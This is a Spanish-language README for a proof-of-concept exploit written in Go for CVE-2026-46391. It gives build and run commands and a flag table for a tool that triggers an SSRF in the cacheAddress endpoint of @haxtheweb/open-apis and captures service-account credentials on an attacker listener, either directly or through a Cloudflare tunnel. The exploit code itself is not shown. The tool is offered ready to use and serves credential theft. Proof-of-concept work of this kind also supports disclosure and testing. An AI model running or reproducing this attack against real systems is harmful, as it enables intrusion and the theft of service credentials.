
Exploit de prueba de concepto para CVE-2026-46391
Prueba de concepto para CVE-2026-46391. Desencadena la vulnerabilidad SSRF en el endpoint cacheAddress de @haxtheweb/open-apis y captura las credenciales de la cuenta de servicio enviadas en el callback.

go build -o cve-2026-46391 .
go test ./...
./cve-2026-46391 -u <raíz-web> -l <oyente> [-p puerto] [-t segundos] [-v]
Directo (misma red que el objetivo):
./cve-2026-46391 -u http://10.10.0.80:3000 -l 10.10.15.201
A través de VPS/túnel Cloudflare/etc:
./cve-2026-46391 -u http://10.10.0.80:3000 -l https://random-words.trycloudflare.com
Puerto y tiempo de espera personalizados:
./cve-2026-46391 -u http://10.10.0.80:3000 -l 10.10.15.201 -p 9090 -t 60
| Flag | Descripción | Valor por defecto |
|---|
-u, --url | Raíz web objetivo (ej. http://10.10.0.80:3000) | requerido |
-l, --oyente | Tu IP/nombre de host o URL de túnel (ej. 192.168.1.10, https://uuid.trycloudflare.com) | requerido |
-p, --puerto | Puerto local en el que escuchar | 8080 |
-t, --timeout | Segundos a esperar por el callback | 30 |
-v, --verbose | Muestra las cabeceras y el cuerpo de cada solicitud entrante | off |